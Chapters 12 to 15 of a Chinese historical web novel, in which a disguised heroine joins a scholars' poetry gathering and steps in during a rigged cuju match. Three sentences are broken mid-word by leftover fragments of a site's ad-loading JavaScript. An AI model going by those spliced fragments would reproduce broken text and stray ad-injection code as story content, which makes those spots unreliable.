直到日头落尽,云影无光,江面余晖粼粼,两岸皆掩在温柔暮色中。人们回家吃饭去了,闹声也渐渐歇息,宣告一年一回的端午即将过去。 许多渔船停泊在岸边,随着江波悠悠晃荡着,那些龙船的桨手们不肯散去,搬了酒食上船,聚集好一批人围在一起。 几人也走上了回府的路,正要分手告别,突然这时从背后蹿出一道声音。 “原来你们在这啊。” 12. 第十二章 慕怀清看向来人,觉得有些眼熟,但不记得他是谁,听周近野叫了句“柳兄”,这才想起来是在书院见过,正是那柳家次子柳江心,上次捐书的就是他们柳家。 柳江心学问属于上等,又承了柳员外为商的八面玲珑,待人接物很有一套,因此在书院中有不少追随者。同陵社的社长杜岭去年染病身体不适,一群学子便推举他来当了这个社长,一当就当到现在。 他身材瘦而高,面上常带着笑,对谈起来总让人如沐春风。 几人互相行过礼,便听得他开口道:“之前在画舫上见着诸位了,但端午佳节,便没有打扰你们雅兴,待人散后才找来。七日后同陵社有场诗会,就定在鸢尾巷的柳家别院中,还望诸位能赏光前来。” 说罢又特意对慕怀清道:“慕兄今年刚来书院,这场诗会,便当是相互认识认识也好。” 慕怀清颔首。 “如此,我便恭候各位到来了。” 待柳江心走后,几人又约定好诗会那天照旧一起。陆居澜捉的鸭子说要给她,她推脱不过,就提回院中了。 刘媪看见她提着鸭子的时候都傻眼了,慕怀清也是哭笑不得,解释道:“他们捉来的,烤了炸了都行,放的久一些。” 刘媪动手时,慕怀清也坚持说要一起,刘媪拗不过她,便随她去了。 两人一个操刀,一个摁住水鸭,鸭子放了血扔在院子里,扑棱几下翅膀后就彻底不动了。 刘媪把它们拖进盆里去,锅里的水正好烧开,端出来浇在上面,一阵白茫茫的热气伴着腥味蒸腾而起。 慕怀清将血冲干净,坐回来跟刘媪一起拔毛。 刘媪见她动作熟练,奇道:“小郎君怎的也会这些粗活?” 慕怀清笑了笑:“以前过了一段苦日子,自然就会了。” - 再说赵知行刚回家,迎面就见廊上走来两人。他以手掩面,刚想避开,却被叫住了。 “哥!” 赵知行不得已停下来,叫了句“小妹”。 来人正是赵小苒和她的丫鬟翠翠。 赵小苒气势汹汹在他面前站住脚:“哥,听说那慕怀清也跟着你一起去了?” 赵知行不敢出声。 “我让你带我去你都不肯,你怎么能带他去!哥,难道你忘了当初他是怎么来的赵家,怎么欺负我的吗!” 女孩今日一身百褶如意月裙,本像那初开的花,妍丽动人,眼下生起气来,成了朵带刺的花。 “是明澈提的,又不是我提的。”赵知行有些头疼。 “可,可你也不能向着他啊。” 赵知行无奈道:“小妹,你莫要执着了,你已经知道云程他——” “哥,你胡说什么呢!”赵小苒打断了他。 赵知行见她半个字都听不进去,也有些来气了:“那你还想怎样!他是我兄弟,说那些话已是不妥了。而且那慕无晦,你了解他是个什么样的人吗?” 赵小苒眼泪都给他气出来了:“好,就算,就算他无意,那慕怀清呢?他就是来破坏我们家庭的,你知道自从他来之后爹和娘吵过多少次架吗?你知道娘又为此掉了多少眼泪吗?他本来就不应该出现,他那个只会勾引有妇之夫的娘要是识趣就不应该让他找来!” 赵知行这下真的动怒了:“你的娘是娘,别人的娘就不是娘吗!” 从小到大,这是兄长第一次凶她,她被吓住了,片刻呆愣后,哭声大起:“你也和爹一样,为了他凶我!我讨厌你们讨厌你们!” 说罢她头也不回跑开了。 翠翠忙追了上去。 赵知行叹了口气。 - 这几日慕怀清都窝在房里念书,约定的日子很快便到了。 诗会那天,几人是步行过去的。霍澄平日里走街串巷对各处都熟悉的很,去鸢尾巷便由他带路,逐月这次没跟来。 柳家财大气粗,自从同陵社的社长换成柳江心后,便常在柳家别院聚会。 路上叫卖吆喝一片,霍澄在看见一家徐记烧饼时转过头来问几人道:“老徐家的胡饼不错,你们要不要尝尝?” 都是刚吃过早饭的,几人皆摇了头,霍澄就自己买了个。 那摊主都认得他了,手法熟练地包了烧饼递过来:“霍郎君还带了朋友啊。” 霍澄笑呵呵打着招呼:“对啊,我们正要去同陵社参加诗会呢。” “诗会好啊,哎,我隔壁老王家的就在平乐社,听过过阵子要办个什么蹴鞠赛,你们社有没有接到消息啊,有的话我到时一定去看哈。” “什么时候啊?这我可就不知道了,等我去问问我们社长。” “好嘞。” 不久一行人便到了鸢尾巷。鸢尾巷临近主街,远远就能听见市井喧闹声。连别院都坐落在这种位置,可见柳家财力。 门口柳江心正与人交谈,见霍澄他们来了,上前同他们打招呼:“诸位一路走来想必也累了,茶水已经备好,请先进去吧。” 这柳江心极会做人,身为诗社社长,分明可以派人来接,却是亲自出门相迎,任是谁对着他都很难没有好脸色。 他身边还跟着一位少年,也笑着同霍澄他们打了招呼。 待他们进去后,那少年对柳江心低语道:“你还真叫了慕怀清来啊,他好像还没加入我们同陵社吧。刚进书院那会闹得沸沸扬扬,现在叫他来,其他人会不会有意见?” 此人叫做江承轩,哪个江?前段日子翻了龙舟的那个江。江柳两家皆是富商,生意之事多有往来,是以江柳两家的郎君打小就认识,正好又一同进了那崇临书院,自然关系越发要好。 柳江心道:“你放心,我都打过招呼了。这慕无晦不简单,认识认识总归没有坏处。” - 别院中亭台水榭,修筑雅致,山石溪竹相映成趣,分明坐落在闹市,却让人恍惚中仿佛置身幽谷,一草一木浑然似天成,这等园林勘造,定是大家手笔。柳家虽富,但不俗,对文人很是尊崇。 数十案桌摆放园中,已有不少人落座了。同陵社是崇临书院的学子组建的,书院成立了多久,同陵社就存在了多久,这里年纪最小的小到十四,最大的大到二十四。 对慕怀清来说,几乎都是生面孔,哪怕在书院见过,也叫不出名字。因着她是女儿身,性子又沉稳,很少主动同人打交道,别人惧她名声,也不敢像霍澄那样混到跟前去。 不过她不认得这些人,这些人却认得她,见慕怀清来了,面色俱都微妙起来。 她神情自若寻了个位置坐下。 人未到齐,场上众人已经开始吃酒喝茶,吟诗作赋,好不惬意。 慕怀清见面前放了酒壶,也跟着尝了点,只是一口下去,如烈火滚过喉咙,差点给呛着,便摆在面前不喝了。 “你没喝过酒?”陆居澜瞧见她这样子,问道。 “只喝过家酿的米酒,再烈一点的没喝过。” 这时有人过来了,对座上几人拱手行了一礼,又惊喜朝慕怀清道:“没想到慕兄也来了。” 慕怀清起身回礼:“叶兄。” 叶誊玉道:“上次那道论题,多谢慕兄指点了。” “小事而已。” “慕兄是何时加入诗社的?” “并未加入,只是端午龙舟赛后遇到柳师兄,便应邀前来了。” “前段日子的龙舟赛你也看了?” “嗯,当时和云程兄他们待在画舫上。” “如此。正好我写了篇端阳赋记录此间盛事,不知慕兄可有时间指点一二?” “指点不敢当。” 叶誊玉侧身:“这里没有纸笔,还请慕兄随我移步。” 慕怀清对身边几人道:“我去去就回。” 霍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 澄看着二人走远,对陆居澜道:“你怎么不去?” 陆居澜面色平静喝了口茶:“我去做什么?” 片刻后,陆居澜起身离开。 霍澄:“你做什么去?” “怕他教错人家。” 周近野和赵知行对视一眼,都忍不住笑了。 这边叶誊玉刚写完自己的端阳赋,陆居澜就过来了。 慕怀清挑眉看他,他面不改色道:“我就过来随便看看。” 叶誊玉这才反应过来,连忙见礼:“陆师兄若是不嫌弃,可否也来帮忙看看?” 他自然知道陆师兄学问好,但陆师兄没有那么平易近人,被问多了也会烦,所以和陆师兄说话他总有些放不开,不自在。 慕兄便好多了,待人温和,说话也耐心,自从上次听雨斋一见,他就对慕兄印象深刻了。 只是眼下他没想到陆师兄会主动过来,刚才自己没请教陆师兄,不知道陆师兄会不会介意,他心底又暗骂自己不周到。 书院里不少人都说慕师弟和陆师兄两个人表面上看起来和睦,实则暗中较着劲,都想拿甲等第一。 有诸如慕怀清抢陆居澜位置以示挑衅,陆居澜请慕怀清吃饭想让人吃坏肚子等等,版本可谓丰富至极。 书院向来都是陆居澜称第一,这好不容易来了个能把他比下去的,还是名声不好的慕怀清,任谁也忍不住暗中猜测几番。 一个是从小被捧在掌心的天之骄子,一个是托关系进书院的穷酸小子,很难让人相信他们真的能和睦相处。 叶誊玉想着想着就出神了,直到慕怀清叫他。 “叶师兄,这是我和云程兄圈出来的一些地方,你来看看?” “哦哦。”叶誊玉小心瞄了一眼陆居澜,这才去看宣纸上的诗赋。 “叶师兄写得也很好,我要讲的都是我和云程兄个人的看法,如有不当之处,还请叶师兄莫要见笑。” “不会不会,这怎么会呢,你们肯指点,我高兴还来不及。” 慕怀清一边讲一边指给他看。 “你这个墨字用的好,下面这句就有些堆砌了,还有这里,写到这情感正是高昂处,视角一换就有些戛然而止了。我和云程兄小做了些修改,都写在旁边。不过每个人看法不同,写出来的韵味也不同,师兄莫要妄自菲薄。” 陆居澜看着慕怀清,有些移不开眼。不得不承认,这人认真的样子,很……吸引人。 头一回有人和自己连镳并驾,他都不知道自己是该怨这人抢了他名头,还是该谢这人让他不得不一再鞭策自己。 边上好几个学子围上前看,渐渐的把其他人也吸引过来,一时间就这篇端阳赋展开了讨论。 叶誊玉估计是头一回被这么多人围着谈论自己的诗赋,耳根都有些发烫了。 有人还趁机同慕怀清搭上了话,她实在不喜应付这么多人,便寻了个由头同陆居澜回到了原来的位置。 霍澄见那边热闹,问他们怎么回事。 赵知行道:“两个在争甲等第一的人凑到一块谈论诗赋,你说能有什么热闹?” 慕怀清笑道:“知行兄就莫要打趣我了。” 谈笑间,那柳江心已经回到了席上,诗会这才算正式开始。 一群人吃酒聊天,聊到方才的端阳赋,又聊到上次的端午盛景,柳江心便提议说,以盛景为开头,一人半句诗,接一个故事出来,接不上的要罚酒三杯。 他以“鼓震江涌舟弄潮”为开头,一人半句接了下去。 从热闹散后主人公回家途中遇仙人,接到仙人赐福中榜娶妻,接到外放做官与妻儿不舍分离,接到做出政绩后一脚被驴踢得失忆,再接到霍澄这里的失忆后游山玩水吃遍美食,情节那叫一个天马行空。 轮到慕怀清接时,她扫视众人一圈后,挑眉看着身边陆居澜,接道:“梦回冷雨湿寒窗。” 13. 第十三章 梦回冷雨湿寒窗,前文所述的种种快活,皆成了虚幻泡影,故事转折突然,令人措不及防。在座学子皆停住笑谈,朝慕怀清看去。 一句梦回,看似突然,却又将前文种种荒诞离奇之处圆了回来,于意料之外合乎情理。 这会儿众人才真切感受到,这位能和陆居澜争甲等第一的,到底是个什么样的人物。 陆居澜摩挲杯沿几瞬,而后抬头看着慕怀清,微笑道:“反恼寒窗是梦长。” 众人再次一惊,连呼吸也窒住了,柳江心第一个反应过来,拍手叫绝。 若按一般人的想法,梦回之后是该恼,恼这美梦太短。可同样是恼,陆居澜的却是恼寒窗梦长,颠倒虚实,主人公反而肯定地认为现实才是梦。 上一句慕怀清的寒窗还只是景象,到这一句,寒窗则进一步指向学子的苦读生涯。 连慕怀清也忍不住赞道:“云程兄高明。” 众人又是一阵叫好。 周近野笑道:“幸好我坐明澈前头。” 坐在陆居澜后头的赵知行苦思冥想,想了好几回,最后十分干脆,一口气喝下三杯酒。 慕怀清和陆居澜那两句可谓是神来之笔,其后再如何接,故事都会重回俗套,变得索然无味。 既有珠玉在前,赵知行想,还不如不接,让故事这样结尾最好,留人回味。 他不好意思接,坐在他后面的几个人就更没好意思接了,只好罚酒三杯。 而这篇长诗由书院刊印出来,短短时间内传遍整个晋州,也是后话了。 因着慕怀清和陆居澜那高明的两句,诗会氛围一时高涨,众人留在别院用过午膳,玩乐到日头将歇方散。 散前,柳江心念了一份来自平乐社的邀请,正是今天上午饼铺徐叔提到过的蹴鞠赛,定在五月二十的沧梧江边,说是邀请,可其中话语总有些挑衅的意味。 众学子当下就吵了起来。 “什么叫‘定将得胜’,瞧不起谁呢!” “就是就是,去年蹴鞠赛他们社还输给我们了。” “以为这次主动下战帖就能赢了?笑话!” 慕怀清现在还没搞清楚什么情况,问:“那个平乐社是怎么一回事?” 霍澄答:“我们书院有同陵社,晋州府学自然也有一个平乐社,反正是谁都看不惯对方。蹴鞠赛是年年都要比一回的,但说不定什么时候,去年的比赛由我们社发起,最后赢的也是我们,这次他们应该是不甘心,想要一雪前耻。” 此时又听得柳江心道:“那就按往年的规矩来,只是今年田假有许多回了家的,眼下还缺了五人。” 踢蹴鞠每队十二或十六人,整个同陵社最多也不过三四十人。 霍澄好似想起来什么,对慕怀清道:“头一回见面,我看你踢过来着。” “会一点而已,明澈兄会吗?” “我?我跟你讲,往年的蹴鞠赛我还当过一次球头来着,不信你问云程他们。” 慕怀清看向另外三个:“你们也会?” 赵知行摇头道:“我不会。” 周近野道:“我只是个凑数的,踢得一般。” 陆居澜则看着霍澄,微微笑道:“我也是当过球头的,比明澈多一次。” 霍澄这下不乐意了:“哎哎哎,多一次怎么了,又不代表技术。” 在慕怀清的印象中,霍澄是极好玩乐的,会这些半点也不奇怪。 可这段时间接触下来,她发现陆居澜才是真的深藏不露。端午射粉团,下江捉鸭,玩乐这方面,他丝毫不逊色于霍澄,只是平日里端得太正了。 到这里已经柳江心已点出来四人补上了,还差一人。 霍澄一个劲怂恿慕怀清道:“反正你也会踢,难得有这么好玩的事,你也来呗。” 慕怀清摇头:“我只是平常踢着玩的,没和人踢过什么比赛,怕拖累你们。” 任霍澄如何说,她就是不答应。她不答应,自然有她的考量在,没踢过比赛只是一个借口而已。关键她是女儿身,那蹴鞠赛上免不了会有些肢体接触,不大方便,也怕人看出来。 最后柳江心又点出一个人补上了缺,霍澄这才叹息一声就此作罢:“那你到时候可要来看我们比赛啊。” “一定。” - 沧梧江从内陆发源,途经十来个城池,支流发达,是大梁重要的水路之一。 而晋州本就处于腹地,转接南北,是不少商队往来的必经之路,加上水路发达,令晋州成为了不亚于京城的繁华之地。 是以晋州百姓对沧梧江感情很深。碰上重大节日,比如上次的端午节,沧梧江附近一定最热闹,每年新岁更是有祭祀江神的习惯,保来年顺遂、保财运亨通、保出渔平安……江神可以说是忙都要忙不过来了。 平日里提起沧梧江,晋州百姓总会自豪,心中升起一股敬意来,所以沧梧江又跟尊重搭上了边。平乐社发起的蹴鞠赛定在江边正是这个道理。 比赛的消息五天前就张贴出去了,气氛炒得很热。端午的劲头刚过,整个晋州城重新平静下来,老百姓们都还有些舍不得。难得眼下又有热闹可以看,更何况两方主角还是崇临书院和晋州府学,自然兴致高涨。 这不,五月二十这日,两方主角还没到齐,江边就铺满了乌泱泱一片人头,赛前一天刚搭起来的凉棚现在连脚都没地方落。附近小山丘上的凉亭寺庙也是人影绰绰,那里地方高,能观全貌,就是看得不清楚而已。 这天慕怀清是自己步行去的,一来距离不远,二来也不想麻烦府里多出一辆马车。赵知行要和赵小苒一同出行,已经提前和她说过了。 离赛场最近的两个凉棚照例留给两方诗社学子,她到时那里人已经很多了。 其他人到得比她早,陆居澜第一个看见了她,上前道:“你来得有些晚了。” 今日的他一身月白色窄袖圆领袍,看上去浅淡清雅。这玉树临风的身姿,不像要来踢鞠球的,倒像是来吟诗作对的。 慕怀清道:“昨天看书到很晚,今早不小心睡迟了些。” 陆居澜笑道:“莫不是怕我考过你?” “是啊,云程兄给我的压力太大了,不认真点怎么行。” “彼此彼此。” 霍澄三人这时走过来,逐月就在不远的凉棚处,正激动朝慕怀清挥手。那里多是妇女儿童,往那个方向看去,慕怀清见赵小苒也坐在那里,眼神不善盯着自己。 她点头回应逐月后就转开目光,全当没看见赵小苒。 赵知行跟着看了小妹一眼,见她没什么异样,心中也松了口气,对慕怀清道:“既然来了就先坐着吧,还有一会才开始。” 慕怀清点头,随他们去凉棚坐下。叶誊玉这次是上场队员,远远看见她后冲她招手。 江边圈出来一大块空地作为球赛场,两根三丈高的球杆竖立在中央,上部的球门约一尺宽。 平乐社的凉棚就隔着球场和他们面对面,那边开始活动起来了,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边也做起了准备。 江承轩手里拿着一串蓝色布条分发给众人,霍澄他们接过后熟练地把布条系在臂上。 今日无论是同陵社还是平乐社,参赛队员们都穿的浅色衣服,臂上则系上颜色鲜明的布条加以区分。他们这边是蓝色,为左军,对方是红色,为右军。 这回同陵社的球头是霍澄,陆居澜作为正挟负责进攻,周近野是散立,看时机防守补位的。 “郎君一定要赢啊!”赛前逐月对霍澄喊道。 霍澄大摇大摆带着队员上场去了。 左军先发球,右军守。 对面的球头身材看上去有些瘦弱,反而是落在最后的散立魁梧十分。 霍澄当下便笑了:“蔡许洋,你们社是没人了吗?怎么选了这样一个球头出来!” 蔡许洋是平乐社的社长,闻言只是笑,并不说话。 瘦弱球头身侧的正挟此时笑道:“霍明澈,你还是莫要说话了,怕等会啊,下不来台。” 平乐社里一阵哄笑。 霍澄并没有将他们放在眼里,往年都赢不了,今年怎么可能会赢,他回应对方正挟道:“袁少华,这次你不当球头挺好的,输了也没这么丢脸。” 换成往年,若是听见霍澄这样说,袁少华早就恼起来了,可这次他却依旧面带笑意:“会不会输,比了才知道。” 双方走到场地中央,鞠正鸣笛击鼓,霍澄当先开球。场上人影瞬间晃动起来,围绕着小小一个鞠球展开了争夺! 即便被众人围住,霍澄也丝毫不显慌乱,只见他身形灵活,轻巧绕过对方两人,将球传给了陆居澜。 陆居澜脚法极好,平乐社的人都拦不住他。 比赛正常开局,最后鞠球回到霍澄脚上时,他突破重围纵身一踢,球便如闪电一般飞射进了球门! 同陵社得胜一筹,百姓们爆发出一阵喝彩。 慕怀清在场外将赛况看的一清二楚,总觉得有些不对劲,又说不上来哪里不对劲。 陆居澜也是这样觉得的。第一场结束后进入休息,他便皱眉道:“我传球时,他们好像目标并不在我,防守很松懈。” 霍澄道:“应该是知道你不好对付吧,往年都是输,今年能折腾出什么来。” 周近野道:“云程的担心不无道理,我观察对方动向时,发现他们的散立就总盯着我们这边的王永行和戴绩衡看,下一场你们注意点他。他应该是今年刚进府学的,长得这样高大,我们都摸不清他的底。” 想了想,周近野又补充道:“还有那球头,估计也是新来的,蹴鞠踢得一般,年纪不大,比无晦还要瘦弱些,不知道对方这样安排用意何为。” 霍澄心大,毫不在意:“嗐,这有什么好担心的,有鞠正在,他们还能耍心眼不成?” 鞠正负责维持场上的规矩,裁定犯规行为,按理说确实耍不了什么心眼。 赵知行对霍澄道:“耍不了心眼,也怕他们使别的战术啊,你可别大意过了头。” “哎呀知道了知道了。” 这时翠翠端着红漆食盘过来,先对赵知行行礼,又对霍澄、陆居澜和周近野三个人道:“大郎君,三位郎君好,我家小娘子见你们场上辛苦,特意盛了酸梅汤过来给你们解渴。” 食盘中四个琉璃小碗,一看就是从赵府上带出来的,碗中酸梅汤色清而亮,桂花干撒了几点漂在上头,琉璃碗衬着,很是诱人。 场上一时间谁都没有说话,连最迟钝的霍澄也看出来了。 14. 第十四章 赵知行面色沉了下来,冷笑一声道:“怎么,现在学会记挂她这个哥哥了?” 赵小苒这任性的举动不仅是给慕怀清难堪,更是给他难堪。早知道她这样不安分,便不该一时心软答应给她留个位置了。 慕怀清心中叹了口气,不想见赵家兄妹因为自己而闹矛盾,正欲开口,却被人拉住了手腕。 陆居澜道:“替我多谢你家小娘子的好意,只是我不爱喝酸的,还请见谅。” 少年掌心的温度隔着衣料烧灼过来,在她腕上烫成一片,她挣了两下,陆居澜便松了手。 周近野礼貌道:“在下也自带了水囊。” 霍澄刚想跟上拒绝的话,就见自家丫鬟端着什么东西屁颠屁颠跑过来,跑进了看才看清是一碗渴水。渴水是由水果熬成胶后和冰水调成的。 逐月在慕怀清面前停下来,手中举着的青瓷碗简朴雅致,碗中渴水如玉润泽,还冒着凉气。 “这天气热起来了,奴怕郎君会渴,正好见曹家从食的挑担过来卖冷饮,便自作主张买了一碗渴水,是荔枝熬的,还望郎君不要嫌弃。” 她和赵家小娘子坐在一处凉棚中,见那赵家小娘子吩咐丫鬟盛了四碗酸梅汤过来,便猜到她要做什么,连忙插队挤到摊位前端了碗渴水。看情况,应该是赶上了。 霍澄一听是曹家从食,语气都酸了:“你怎么就不怕你家郎君渴着呢?” 逐月方才温柔的语气瞬间消失:“郎君都喝过多少回他家的了,慕郎君今年才刚来晋州。” 慕怀清心中既感激又无奈,一来是知道逐月在替自己解围,二来是隐隐猜到之前心上人的事了。 “在下谢过逐月姑娘了。”她作揖行了一礼,接过那瓷碗时,其余几人都松了口气。 慕怀清端着渴水想了想,将青瓷碗递到陆居澜跟前:“适才听云程兄说不爱喝酸的,刚好同你换一碗。” 说罢又回头礼貌问了一句:“逐月小娘子不介意吧?” 逐月眼睛都酸了,她哪能说介意,只能心中委屈点了下头。 慕怀清瞧着她的神色,只能不住在心中道歉。 周近野在一旁观察得一清二楚。 陆居澜愣了一下,随后笑着伸手接过:“如此,便多谢无晦好意了。” 一场尴尬就此化解,可一直盯着这边情况的赵小苒在看见慕怀清端着自己送过去的酸梅汤喝时,手中帕子绞得死紧,一口银牙都要咬碎了。 蹴鞠赛继续进行,慕怀清将方才的不快都抛诸脑后,认真观察起场上局势来。 这回平乐社先开,王永行和戴绩衡两个身为左、右竿网,想阻拦对方传球,可刚跑没两步,就撞上一堵“大墙”。 只见对方散立往那一站,魁梧的身形却灵活至极,王永行和戴绩衡两个被他死死防守在鞠球外,这会儿才明白这个大汉的实力和作用。 两人急得额头冒汗,眼见球传到对方这散立脚上,还没碰着呢,就又传回去了。 霍澄眼见对方已经完成了一轮传球,原先轻松的心情也变得严肃起来。 他紧盯着球的动向。这会老陆越过人群,抢到了! 球传过来,霍澄去接,又被袁少华重新截下。 场上赛况一时间很是胶着,观赛的百姓们都看得目不转睛,顾不上说话了。 霍澄追在袁少华身边,可惜一直没有找到机会。到现在鞠球已经传回给了对方球头,只等着临门一脚。 袁少华这会似乎因为激动过头松懈下来,霍澄盯着那球追过去,竟然没费多大力就越过袁少华抢到球头身边。 慕怀清此时猛地站了起来。 紧张的赛场中根本来不及多想,对方球头左拐右带,始终将背对着霍澄,霍澄撞过去便要夺球,却不料下一刻突生变故! 一个人影飞了出去,四下一片惊呼,不少人吓得直接从座位上弹起来。 霍澄停下动作,大脑一片空白,直到鞠正击鼓,他这才回神。 “霍澄,你想干什么?赢不了就推人是吧!”袁少华第一个出声,去扶他们队的球头。 霍澄脱口而出反驳道:“你少污蔑人,你霍大人我还不屑于做这种事!” 说实话,当时他注意力都在球上,连他自己都不知道刚才发生了什么。那小子始终拿背挡着他,这种情况下是可以抢球的,但他只不过撞了一下,那小子便飞出去了。 同陵社其余队员向这边靠了过来。 “怎么回事?”陆居澜皱眉问。 霍澄急了:“我哪知道,我不过撞了他一下,他自己就摔出去了!” “你自己做的事——”袁少华还想再说什么,却被鞠正再次击鼓打断。 这个年纪四五十的中年男子走下场来,先去查看了平乐社球头的伤势:“站的起来吗?” 少年摇头。 鞠正撩开他衣摆,只见他腿上擦破一大片,鲜血直流。 平乐社有人拿来干净的布条给他绑上,疼得他痛叫不断,额头冒出一颗颗汗珠。看样子实在是严重,便有人扶着他下场寻郎中去了。 袁少华怒气冲冲:“他们定是不想让我们赢,所以才使出这种下三滥的手段弄伤我们球头,鞠正先生,这种人绝不能再留在场上!” 霍澄心中咯噔一下,这会也明白过来了,他们想趁此机会把自己搞下场。蹴鞠赛场上如此激烈,免不了要受点伤,但这等争执,他还是头一回遇到。 周近野平静道:“袁兄一口咬定说我们弄伤他,莫不成袁兄亲眼看见了?” 同陵社的人愤愤不平跟着喊,颇有一副要干架的势头。 “对!” “就是!” “我看分明就是你们栽赃!” 平乐社的也不甘示弱,俱都上前一步,和袁少华站在一条线上。 百姓们双眼一亮站了起来。 鞠正板着脸挥起手中的黄旗,双方都不敢再吵。 百姓们一脸失望又坐了回去。 鞠正道:“左军球头罚下场。” 百姓们一片哗然。 霍澄还想再说什么,陆居澜却拦住了他,摇头示意。 叶誊玉愤愤道:“我看就是他们使诈,不然怎么会叫一个这样眼生的来当球头!” 剩下的队员七嘴八舌道: “可刚才除了霍兄,我们这边压根没看清到底发生了什么。” “对啊,他们就是算好了的。” “霍兄又不可能真的去推他,是吧霍兄?” 双方下场重新整队,霍澄走在前头,阴沉着脸没说话。众人察觉出来气氛不对,皆闭了嘴。 同陵社不参赛的这一群人候在场外,早急成了热锅上的蚂蚁,见他们回来,围上去问个不停。 柳江心打了个手势让他们安静下来,然后才上前开口问:“当真罚下场了?怎么会突然发生这样的事?” 众人的目光皆投在了霍澄身上。 还没等他回答,逐月就急匆匆挤了进来:“郎君你没受伤吧?” 霍澄瞧着自家丫鬟担忧的神色,心绪缓和下来些许:“我没事,你放心。” 陆居澜开口了,语气有些严肃:“明澈,你是不是真的推了他?” 众人闻言一惊。 霍澄低着头,几个深呼吸后才答道:“他带球时一直背对着我,我要绕过去抢,便撞了一下,往常都是这样玩的,又不算犯规,但这次人就撞飞了。” 江承轩连忙追问:“所以当真是你撞的人?” “撞了一半而已。”慕怀清从人群外走进来,众学子给她让了条路。 她接着分析道: “他们选一个这样瘦弱的人来当球头,为的就是针对明澈兄。 “当时我方左右竿网俱被对方散立牵制,明澈兄夺球心切,注意力全集中在球上,哪怕袁少华假意松懈也很难看出来。 “此时再让球头背对明澈兄运球,这机会,明澈兄必定不会放过。于是就有了我们看到的那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一幕,明澈兄夺球,而对方的瘦弱球头便被他撞了出去。 “不得不说,他们对明澈兄的习惯和心理把握得很好。” 周近野点头接话:“连鞠正都看不出来蹊跷,想必明澈也是使了几分力在的。” 这下整个同陵社都炸开了锅。 “我说这回他们怎么敢下战帖,原来早就打好了主意!” “简直卑鄙无耻!” “这下可怎么办啊,霍兄是球头,还有谁能补上这个缺?” “社里还有谁会蹴鞠吗?” “要不从百姓当中随便拉一个出来吧。” 陆居澜几人这时都看向了慕怀清。 霍澄则默默解下臂上布条,而后将布条递到她面前:“你去吗?” 众人目光齐刷刷看了过去。 叶誊玉激动道:“慕兄原来也会蹴鞠,有慕兄加入,我便放心了!” 慕怀清急忙推辞:“我玩得不好,替不了明澈兄的!” 陆居澜一句话把她的退路给堵死了:“不用你替他,替我就行,再不然便替场上其他位置。” 慕怀清只好硬着头皮接过霍澄手中的布条。 逐月已将渴水的事全忘到脑后了,关切对慕怀清道:“郎君小心啊。” 赵知行也难得说了句好话:“别在场上弄伤了,又要请郎中。” 慕怀清舒了口气:“是。” 平乐社这时已经回到了场上,袁少华见对面霍澄下去,又换上来个瘦瘦弱弱的,不由得嗤笑道:“怎么,你们同陵社才是没人了吧。” 慕怀清本就是女儿身,虽比一般女子高挑些,但到底不如男子健壮。 她没补球头的位置,现在陆居澜是球头,她是正挟。其他人都是固定位置玩惯了的,短时间不好调换。 对方的球头也换成袁少华,从社里又补上来一个年轻力壮的正挟。 慕怀清心想,这下便不好对付了。 方才的比赛因事故中断,所以现在还是第二筹。比赛共比三筹,他们已经拿下了一筹,再赢一筹便好。 可事情显然不会这么顺利发展。对方故技重施,王永行和戴绩衡再次被牵制,新补上来的那个袁少华水平明显比他们下场的球头高出不少。 慕怀清虽踢过蹴鞠,但正式的比赛只看过没踢过,眼下又得防着别人来碰她,免不了有些紧张。 “慕兄,这里!”叶誊玉刚抢到球,身边最近的就是慕怀清。 话还没说完,她就见那球朝自己飞了过来,立马抬脚接上。对方来抢,她将球往上一踢,随后转身绕过对方,动作灵巧似猫,踢出一记鸳鸯拐。 场下一阵惊呼,百姓们登时拍手叫好! 霍澄原本心中郁闷来着,可这一招实在将他看呆了。鸳鸯拐是花样踢法,要用左右脚踝连续接球,难的很,能踢出十几种花样。他都不怎么会,慕兄却踢得这样好。 逐月虽然不知道什么是鸳鸯拐,但知道好看啊,别人都在拍手,定然是好的。 自磕破头那事后,这还是赵小苒第一次见到慕怀清,她也看呆了,没想到那人在场上能赢下这么多喝彩。她心中滋味复杂,一张脸越发阴沉起来,翠翠站在她边上大气也不敢喘。 一记鸳鸯拐,不仅让场外沸腾起来,也让场内震惊不已。 陆居澜心想,这慕怀清,到底还能给人带来多少意外。 慕怀清虽说没参加过比赛,但以前无聊自己踢,最能踢出花样来,别的就不行了。 方才接球只是下意识,眼下哪怕得了喝彩她也高兴不起来,因为球在她这,对方三四个人掉头就围了过来。 “快传啊!” 队友见她虽踢出一记鸳鸯拐,球却运不动了,着急喊了起来。 慕怀清也着急啊,三四个男子就这样围上来,叫她如何硬闯出去! 陆居澜看出来不对劲,正想去接,球已经被夺了,袁少华抓住机会一脚踢进球门! 平乐社胜了一筹。 15. 第十五章 “你刚刚怎么回事啊?” “你不是会踢嘛,站在那里都不动的。” “这球实在是可惜了。” 众人围上来抱怨时慕怀清没有反驳,因为方才那场确实是自己出了差错, 她没说话,霍澄却替她说了:“都在这吵吵什么呢,他没踢过比赛,就不允许他紧张一下?有本事你们自己上啊。” 周近野也道:“无晦第一次踢比赛,诸位就莫要苛责了。” “周兄说的是,”柳江心出声稳住场面,随后看了一眼慕怀清,“已经输了,说再多也没用,还不如想想下一场怎么踢。” 王永行叹了口气:“是该好好商量一下,对面那个大块头总针对我和戴兄,这样下去,等会也说不准是赢是输。” 众人的注意力被转移开来,陆居澜对身旁的慕怀清道:“有我在,你不必太紧张输赢,若实在踢不来,球一到就传出去。” 慕怀清心中安定了些:“好。” 关于王永行和戴绩衡两个人,队里也调整了方法应对。 上场前,叶誊玉安慰慕怀清道:“慕兄初次上场,尽力就好,输了也没什么大不了的。” “你们以前没输过吧。” 叶誊玉摸着后脑勺:“是没有,不过这回霍兄不在,只靠陆师兄的话,就有点难说了。” 慕怀清看了一眼陆居澜,那人面上看不出来什么表情,但眉头却绷得有些紧。 最后一筹左军开球,球一发,双方便激烈争抢起来。 球传到慕怀清这时,她记着陆居澜的话,还没等对方截过来就踢出去了。 球飞向高空,同陵社失去了对球的控制权。 “他又在搞什么!” “随便踢算怎么回事!” 队友们嘴上抱怨,人却还是追着球跑了过去。 